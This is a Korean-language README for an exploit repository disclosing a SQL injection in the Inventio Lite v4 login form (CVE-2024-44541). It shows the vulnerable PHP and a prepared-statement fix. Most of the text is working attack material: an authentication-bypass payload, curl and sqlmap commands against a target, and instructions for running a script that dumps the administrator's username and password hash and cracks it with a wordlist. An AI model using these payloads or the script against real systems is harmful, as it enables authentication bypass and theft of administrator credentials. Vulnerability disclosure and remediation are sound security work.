
이 저장소는 Inventio Lite v4의 SQL Injection 취약점을 상세히 설명하며, 공격 단계와 공격을 자동화하는 Python 스크립트를 포함합니다. 또한 취약한 코드, 권장 수정 사항, 관리자 자격 증명을 추출하고 해독하는 방법에 대한 정보를 제공합니다.
Inventio Lite v4는 /action=processlogin 엔드포인트에서 SQL 인젝션(SQLi)에 취약합니다. 이 취약점으로 인해 공격자는 POST 요청의 username 매개변수를 통해 임의의 SQL 쿼리를 주입할 수 있으며, 잠재적으로 비인가 액세스 및 데이터 추출로 이어질 수 있습니다.
취약한 코드는 다음과 같습니다:
if(!isset($_SESSION["user_id"])) {
$user = $_POST['username'];
$pass = sha1(md5($_POST['password']));
$base = new Database();
$con = $base->connect();
$sql = "select * from user where (email= \"".$user."\" or username= \"".$user."\") and password= \"".$pass."\" and is_active=1";
$query = $con->query($sql);
$found = false;
$userid = null;
while($r = $query->fetch_array()){
$found = true;
$userid = $r['id'];
}
}
취약한 코드 스크린샷:

이 문제는 Prepared Statement를 사용하여 수정되었습니다:
if(!isset($_SESSION["user_id"])) {
$user = $_POST['username'];
$pass = sha1(md5($_POST['password']));
$base = new Database();
$con = $base->connect();
// Prepare the query
$stmt = $con->prepare("
SELECT * FROM user
WHERE (email = ? OR username = ?)
AND password = ?
AND is_active = 1
");
// Bind parameters
$stmt->bind_param("sss", $user, $user, $pass);
// Execute query
$stmt->execute();
// Get result
$result = $stmt->get_result();
$found = false;
$userid = null;
while($r = $result->fetch_assoc()){
$found = true;
$userid = $r['id'];
}
// Close statement
$stmt->close();
}
이 취약점을 악용하려면 다음 페이로드를 사용하십시오:
user -> ") or 1=1-- -
pass -> blablalba
curl을 사용한 공격 예시:
$ curl -X POST http://192.168.1.51/inventio-lite/?action=processlogin -d 'username=%22%29%20or%201%3D1--%20-&password=blablabla' -v && echo ""
$ sqlmap -u http://192.168.1.51/inventio-lite/?action=processlogin --data="username=*&password=*" --level 5 --risk 3 --dbms=mysql --dbs --prefix='")' --batch --dbs
관리자의 사용자 이름과 비밀번호 해시를 자동으로 악용 및 추출하려면 제공된 Python 스크립트 sqli.py를 사용할 수 있습니다.
다음과 같이 이 저장소를 클론할 수 있습니다:
git clone https://github.com/pointedsec/CVE-2024-44541
그런 다음 pip로 요구 사항을 설치합니다:
pip install -r requirements.txt
필요에 따라 스크립트에서 다음 변수를 수정하십시오:
BASE_URL = "http://192.168.1.51/inventio-lite/"PWD_DIC_PATH = "/usr/share/wordlists/rockyou.txt"그런 다음 스크립트를 실행하면 관리자 사용자 이름과 해시를 덤프하고, SHA1(MD5(password)) 형식으로 해시 크랙을 시도합니다.
예시 출력:
$ python3 sqli.py
[*] Checking if target is vulnerable
[+] Target Vulnerable!
[*] Dumping Administrator username...
[◤] Extracting Username: -> [email protected]
[/] Extracting Admin Password Hash: Final Admin Hash: 90b9aa7e25f80cf4f64e990b78a9fc5ebd6cecad
[+] Password Decrypted! -> [email protected]:admin
[*] Try to Log In with that username, if that doesn't work, try with some uppercase/lowercase combinations
기밀성: 공격자는 데이터베이스 전체를 덤프하여 사용자 자격 증명 및 개인 정보와 같은 민감한 데이터를 노출시킬 수 있습니다.
무결성: 공격자는 인증을 우회하고 관리자 액세스 권한을 획득하여 데이터를 수정하거나 삭제할 수 있습니다.
이 취약점 보고서는 Andrés Del Cerro가 발견했습니다. 자세한 내용은 [email protected]으로 연락해 주십시오.